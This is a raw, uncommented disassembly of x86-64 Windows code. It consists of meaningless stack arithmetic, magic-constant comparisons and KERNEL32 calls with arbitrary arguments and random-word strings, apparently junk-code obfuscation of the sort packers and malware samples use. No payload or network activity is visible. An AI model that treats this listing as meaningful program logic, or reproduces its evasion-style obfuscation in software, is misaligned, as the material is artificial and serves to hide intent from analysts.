mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x700]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1aa00]
lea rdx, [rbp + 0x1428]
mov qword [rsp + 0x20], rdx
mov r9d, 0xe2
mov r8d, 0x13
mov edx, 0xb5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UnlockFileEx]
call rax
mov dword [rbp + 0x1a9fc], eax
mov rax, qword [rbp + 0x1afd8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov rax, qword [rbp + 0x10b0]
sub ecx, edx
mov dword [rax], ecx
nop
mov rax, qword [rbp + 0x840]
mov rcx, rax
call fcn.1400fe82e
jmp 0x140008c0b
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2fd4]
add eax, edx
mov dword [rbp + 0x1200], eax
lea rax, [rbp + 0xebb]
mov qword [rbp + 0x1b058], rax
movzx edx, word [rbp + 0x1208]
movzx eax, word [rbp + 0xee4]
and eax, edx
mov word [rbp + 0x4f4], ax
nop
lea rax, [rbp + 0x4afb]
mov qword [rbp + 0x1d40], rax
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
cwde
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x912]
movsx edx, ax
movzx eax, word [rbp + 0x2dd6]
cwde
sub edx, eax
cmp ecx, edx
jle 0x140008cfd
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2dd6]
add eax, edx
mov word [rbp + 0x912], ax
mov edx, 0x33
mov ecx, 0x63
mov rax, qword [sym.imp.KERNEL32.dll_IsValidLocale]
call rax
mov dword [rbp + 0x1a954], eax
mov rax, qword [rbp + 0x1a958]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x3440]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1af78]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov ecx, edx
sar rax, cl
mov qword [0x140101050], rax
movzx eax, byte [rbp + 0x2c4c]
movsx ecx, al
movzx eax, byte [rbp + 0x34]
movsx r9d, al
movzx eax, byte [rbp + 0x2c4c]
movsx r8d, al
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x4ef6]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
mov edx, dword [rbp + 0x1200]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x2fd4], eax
movzx edx, byte [rbp + 0x34]
movzx eax, byte [rbp + 0x4ef6]
xor edx, eax
mov rax, qword [rbp + 0x1d40]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x4afb]
and eax, ecx
cmp dl, al
jge 0x140008d6b
mov edx, dword [rbp + 0x3ac0]
mov eax, dword [rbp + 0x2730]
add edx, eax
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rdx, qword [rbp + 0x3720]
mov rax, qword [rbp + 0x3a18]
sub rdx, rax
mov qword [rbp + 0x2d10], rdx
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x340]
mov rax, qword [rax]
mov rcx, rdx
sub rcx, rax
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
sub rdx, rax
cmp rcx, rdx
je 0x140008e0d
mov ecx, 0x4e
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call rax
mov dword [rbp + 0x1a9fc], eax
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1208]
and edx, eax
mov rax, qword [rbp + 0x1a968]
mov word [rax], dx
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
cwde
cmp eax, 0x50e8
jne 0x140008df2
mov rax, qword [rbp + 0x840]
mov rcx, rax
call fcn.1400fe14c
jmp 0x140009011
movzx eax, byte [0x140101058]
movzx edx, byte [rbp + 0x3657]
sub eax, edx
mov byte [rbp + 0x20b6], al
jmp 0x140009011
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx eax, al
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x3440]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x20b6]
movzx eax, al
add eax, edx
cmp ecx, eax
jl 0x140009011
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
or eax, edx
mov word [rbp + 0x1208], ax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov byte [rbp + 0x2207], al
lea rax, [rbp + 0x1a74]
mov qword [rbp + 0x1afa0], rax
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1af78]
mov rax, qword [rax]
xor rdx, rax
mov rax, qword [rbp + 0x3a18]
mov rcx, qword [rbp + 0x3720]
shl rax, cl
cmp rdx, rax
jl 0x140009011
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov eax, dword [0x140106030]
sub ecx, eax
cmp ecx, edx
jae 0x140008f11
mov rax, qword [rbp + 0x340]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1428]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
call rax
jmp 0x140009011
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
add rax, rdx
mov qword [rbp + 0x3a18], rax
movzx eax, word [rbp + 0x1208]
movzx eax, ax
test eax, eax
je 0x140008f4a
cmp eax, 0xbac
je 0x140008ff5
jmp 0x140009011
lea rax, [rbp + 0xf40]
mov qword [rbp + 0x24b8], rax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
test eax, eax
jne 0x140008fd9
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2fd4]
add eax, edx
mov dword [rbp + 0x1bc8], eax
mov dword [rbp + 0x1af9c], 0x6b33
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
add edx, eax
mov rax, qword [rbp + 0x1d40]
mov byte [rax], dl
movzx eax, byte [rbp + 0x3657]
mov byte [rbp + 0x4bab], al
movzx eax, word [rbp + 0x2dd6]
mov edx, eax
movzx eax, word [rbp + 0x912]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1a978]
mov word [rax], dx
jmp 0x140008ff3
movzx eax, word [rbp + 0x912]
mov edx, eax
movzx eax, word [rbp + 0x2dd6]
add eax, edx
mov word [rbp + 0x1a74], ax
nop
jmp 0x140009011
mov rcx, qword [rbp + 0x3720]
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [0x140106038]
and rdx, rcx
mov qword [rax], rdx
nop
mov rax, qword [rbp + 0x24a8]
mov qword [rbp + 0x3eb8], rax
lea rax, [rbp + 0x105c]
mov qword [rbp + 0x1a948], rax
mov rax, qword [rbp + 0x1af68]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc8]
or edx, eax
mov r8d, dword [rbp + 0x1200]
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp eax, edx
jae 0x1400090c6
lea rax, [rbp + 0xb20]
mov dword [rsp + 0x20], 0x91
mov r9, rax
mov r8d, 0x22
lea rax, str.Hippy_Team_dynamical_contemplations
mov rdx, rax
mov ecx, 0xf6
mov rax, qword [sym.imp.KERNEL32.dll_FoldStringW]
call rax
mov dword [rbp + 0x3fac], eax
mov rax, qword [rbp + 0x1b020]
mov rax, qword [rax]
mov rcx, rax
call fcn.1400fe82e
mov rax, qword [rbp + 0x2d10]
test rax, rax
jne 0x140009176
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a18]
xor rdx, rax
mov rax, qword [rbp + 0x1af78]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x912]
add eax, edx
mov word [rbp + 0x4c4], ax
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
mov byte [rbp + 0x4b3], al
mov rax, qword [rbp + 0x1a968]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
mov byte [rbp + 0x34a7], al
jmp 0x1400092ca
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3fac]
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x1a948]
mov edx, dword [rax]
mov eax, dword [rbp + 0x105c]
sub edx, eax
cmp ecx, edx
jl 0x14000928b
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
cmp eax, 0x12ec7f3c
jne 0x140009271
lea rax, str.morasscapsizes_stumbleDeclaringdoily
mov rdx, rax
lea rax, str.ModelConquest
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileW]
call rax
mov dword [rbp + 0x3a58], eax
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov qword [rbp + 0x3eb8], rax
mov rdx, qword [0x140101050]
mov rax, qword [rbp + 0x16d8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x1af78]
mov qword [rax], rdx
lea rax, str.Stuns_roughedUnhurried
mov rdx, rax
lea rax, str.SerfsDroplets_representativesReactionAccelerometers
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileW]
call rax
mov dword [rbp + 0x1a944], eax
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1afd8]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x1a948]
mov dword [rax], edx
jmp 0x14000928b
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x3657]
sub eax, edx
mov byte [rbp + 0x4bab], al
nop
lea rdx, [rbp + 0x2d70]
mov dword [rsp + 0x28], 0x62
lea rax, [rbp + 0x4fe0]
mov qword [rsp + 0x20], rax
mov r9, rdx
lea r8, str.contest_Stork_unhuman
mov edx, 0xf1
mov ecx, 0x8e
mov rax, qword [sym.imp.KERNEL32.dll_GetNumberFormatW]
call rax
mov dword [rbp + 0x1cc], eax
nop
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1a968]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x2164], ax
jmp 0x14000986d
mov rax, qword [rbp + 0x1a958]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4b3]
or eax, edx
mov byte [rbp + 0x3f13], al
movzx eax, word [rbp + 0x1a74]
movsx edx, ax
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x4c4], ax
movzx eax, byte [rbp + 0x34]
movsx edx, al
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x4afb], al
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3720]
xor rax, rdx
mov qword [0x140101050], rax
mov edx, dword [rbp + 0x1bc8]
mov eax, dword [rbp + 0xa6c]
and eax, edx
mov dword [rbp + 0x2fd4], eax
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
sub rdx, rax
mov qword [rbp + 0x840], rdx
mov edx, dword [rbp + 0xf40]
mov eax, dword [rbp + 0x1cc]
add eax, edx
mov dword [rbp + 0x3ac0], eax
mov rax, qword [rbp + 0x1a978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a74]
and eax, edx
mov word [rbp + 0x2dd6], ax
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
add eax, edx
mov word [rbp + 0x912], ax
mov rax, qword [rbp + 0x4150]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
add eax, edx
mov byte [rbp + 0x3657], al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x1b058]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1a968]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2164], ax
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x16d8]
mov rdx, qword [rax]
mov rax, qword [0x140106038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1428]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x33b8]
shr rdx, cl
mov qword [rax], rdx
mov edx, dword [rbp + 0x2fd4]
mov eax, dword [rbp + 0x1200]
or eax, edx
mov dword [rbp + 0xa6c], eax
mov rax, qword [0x140106038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
mov ecx, eax
mov rax, qword [rbp + 0x700]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b058]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0xebb], al
mov rax, qword [rbp + 0x1a968]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
and edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x4c4]
mov edx, eax
movzx eax, word [rbp + 0x2dd6]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1a978]
mov word [rax], dx
movzx eax, word [rbp + 0x2164]
movzx edx, word [rbp + 0xee4]
sub eax, edx
mov word [rbp + 0x4f4], ax
movzx ecx, byte [rbp + 0x3f13]
movzx edx, byte [rbp + 0x4bab]
mov rax, qword [rbp + 0x4150]
add edx, ecx
mov byte [rax], dl
mov rcx, qword [rbp + 0x3720]
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [0x140106038]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x740]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1cc]
sub edx, eax
mov rax, qword [rbp + 0x1a948]
mov dword [rax], edx
mov rcx, qword [rbp + 0x3a18]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [rbp + 0x700]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov qword [rbp + 0x3eb8], rax
movzx edx, word [rbp + 0x2164]
movzx eax, word [rbp + 0x4f4]
add eax, edx
mov word [rbp + 0x1c72], ax
mov rax, qword [rbp + 0x1a9c0]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x4bab]
mov rax, qword [rbp + 0x4d98]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1afa0]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1a978]
mov word [rax], dx
movzx eax, byte [rbp + 0x2207]
movsx edx, al
movzx eax, byte [rbp + 0xebb]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1b058]
mov byte [rax], dl
mov rax, qword [rbp + 0x700]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [0x140106038]
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3ac0]
and eax, edx
mov dword [rbp + 0xf40], eax
mov rax, qword [rbp + 0x2990]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x340]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1428]
sub rcx, rdx
mov qword [rax], rcx
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x3a18]
add rax, rdx
mov qword [rbp + 0x3720], rax
mov edx, dword [rbp + 0x1bc8]
mov eax, dword [0x140106030]
add eax, edx
mov dword [rbp + 0x2fd4], eax
mov rax, qword [rbp + 0x1af60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x4150]
add edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0xebb]
mov edx, eax
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2207], al
mov rax, qword [rbp + 0x1aff0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x912]
and eax, edx
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5b8]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
sub edx, eax
mov dword [0x140106030], edx
mov rcx, qword [rbp + 0x24a8]
mov rdx, qword [rbp + 0x3eb8]
mov rax, qword [rbp + 0x2990]
sub rcx, rdx
mov qword [rax], rcx
add dword [rbp + 0x1af9c], 0x5f
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24b8]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x3fac], eax
mov r8d, dword [rbp + 0xa6c]
mov edx, dword [rbp + 0x2fd4]
mov rax, qword [rbp + 0x3048]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x16d8]
mov rax, qword [rax]
xor rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
movzx eax, byte [0x140101058]
movzx edx, al
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x4bab], al
movzx edx, byte [rbp + 0x34a7]
movzx eax, byte [rbp + 0x34]
and edx, eax
mov rax, qword [rbp + 0x1b058]
mov byte [rax], dl
movzx edx, word [rbp + 0x1c72]
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x1a9c0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4b3]
add edx, eax
mov rax, qword [rbp + 0x1a958]
mov byte [rax], dl
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x3720]
add rax, rdx
mov qword [0x140101050], rax
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc8]
add eax, edx
mov dword [rbp + 0x1200], eax
cmp dword [rbp + 0x1af9c], 0x8a00
jbe 0x1400092ec
mov rax, qword [rbp + 0x1a9f0]
mov rax, qword [rax]
test rax, rax
jne 0x1400fc6af
movzx edx, byte [rbp + 0x3657]
movzx eax, byte [rbp + 0x3f13]
or eax, edx
mov byte [rbp + 0x4bab], al
mov rax, qword [rbp + 0x24b8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2730]
mov ecx, eax
sar edx, cl
mov r8d, edx
mov edx, dword [rbp + 0x105c]
mov rax, qword [rbp + 0x1afd8]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
je 0x1400098ff
lea rax, [rbp + 0x3b50]
mov r9d, 0xf5
mov r8, rax
mov edx, 0x32
mov ecx, 0x36
mov rax, qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call rax
mov dword [rbp + 0x3fac], eax
movzx edx, byte [rbp + 0x4bab]
movzx eax, byte [rbp + 0x3657]
xor eax, edx
movzx edx, al
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx ecx, al
movzx eax, byte [rbp + 0x20b6]
movzx eax, al
add eax, ecx
cmp edx, eax
jle 0x14000994f
mov rax, qword [rbp + 0x4ed0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5b8]
and edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x2207]
movsx edx, al
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
movsx eax, al
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx eax, al
add eax, edx
cmp ecx, eax
jne 0x1400fc605
lea rax, [rbp + 0x840]
mov qword [rbp + 0x1a938], rax
movzx eax, byte [rbp + 0x34]
movsx eax, al
test eax, eax
jne 0x140009a1f
mov rax, qword [rbp + 0x1b008]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [rbp + 0x16d8]
and rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x3ac0]
mov dword [rbp + 0x2f4c], eax
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x4ef6], al
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x2164]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0xee4], ax
jmp 0x140009b4f
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
cmp eax, 0x2d05145a
jne 0x140009b05
mov rax, qword [rbp + 0x1d40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x34]
mov rax, qword [rbp + 0x4250]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4b80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
call rax
mov dword [rbp + 0xa6c], eax
movzx eax, word [rbp + 0x1a74]
cwde
cmp eax, 0x4516
jne 0x140009ae7
mov rax, qword [rbp + 0x1a958]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x4d98]
xor edx, ecx
mov byte [rax], dl
lea rdx, [rbp + 0x2b84]
mov dword [rsp + 0x28], 0x17
lea rax, [rbp + 0x3b50]
mov qword [rsp + 0x20], rax
lea r9, str.uninterrupted_Bides_Barnacles
mov r8, rdx
mov edx, 0x10
mov ecx, 0xf1
mov rax, qword [sym.imp.KERNEL32.dll_GetTimeFormatW]
call rax
mov dword [rbp + 0x3880], eax
mov edx, dword [rbp + 0x1200]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
sub edx, eax
mov dword [0x140106030], edx
jmp 0x140009b03
mov rcx, qword [rbp + 0x3720]
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x16d8]
add rdx, rcx
mov qword [rax], rdx
nop
jmp 0x140009b4e
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
movsx ecx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx r9d, al
movzx eax, byte [rbp + 0xebb]
movsx r8d, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
nop
nop
mov rax, qword [rbp + 0x3eb8]
mov qword [rbp + 0x1460], rax
mov eax, dword [rbp + 0x3fac]
test eax, eax
je 0x140009bed
cmp eax, 0x7911f7f5
jne 0x1400fc5c7
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
movabs rax, 0xa1a18b236a1053ca
cmp rdx, rax
jne 0x140009bd3
movzx eax, byte [rbp + 0x2207]
movsx ecx, al
movzx eax, byte [rbp + 0x4afb]
movsx r9d, al
movzx eax, byte [rbp + 0xebb]
movsx r8d, al
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0xebb]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
jmp 0x140009be8
mov edx, dword [rbp + 0x3ac0]
mov eax, dword [rbp + 0x4c04]
add eax, edx
mov dword [rbp + 0x3fac], eax
nop
jmp 0x1400fc5c7
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
lea ecx, [rdx + rax]
movzx eax, byte [rbp + 0x2207]
movsx edx, al
movzx eax, byte [rbp + 0xebb]
movsx eax, al
sub edx, eax
cmp ecx, edx
jle 0x140009c51
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1afa0]
mov word [rax], dx
jmp 0x1400fc59f
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
movsx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x4ef6]
movsx edx, al
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
add eax, edx
cmp ecx, eax
jg 0x1400fc59f
mov rax, qword [rbp + 0x1460]
movabs rdx, 0xbe23cd37a70f716d
cmp rax, rdx
je 0x140009d49
movabs rdx, 0xed9714122f21e6e6
cmp rax, rdx
jne 0x140009da2
mov rax, qword [rbp + 0x1d40]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x1a968]
mov word [rax], dx
movzx eax, byte [rbp + 0x4b3]
movzx edx, al
mov rax, qword [rbp + 0x3440]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x3657], al
lea rdx, [rbp + 0x1208]
mov rax, qword [rbp + 0x1a930]
mov r8, rdx
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetTapeParameters]
call rax
mov dword [rbp + 0x1200], eax
jmp 0x140009da2
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x16d8]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [0x140106038]
sar rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1200]
or eax, edx
mov dword [rbp + 0xa6c], eax
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
xor rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
nop
mov rax, qword [rbp + 0x24b8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
and edx, eax
mov rax, qword [rbp + 0x1afd8]
mov dword [rax], edx
lea rax, [rbp + 0x3eb8]
mov qword [rbp + 0x1a928], rax
movzx eax, word [rbp + 0x1c72]
movzx eax, ax
test eax, eax
jne 0x140009e65
mov rax, qword [rbp + 0x1a948]
mov eax, dword [rax]
test eax, eax
jne 0x140009e05
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
cwde
cmp eax, 0x67cf
jne 0x140009e02
call fcn.1400fdbea
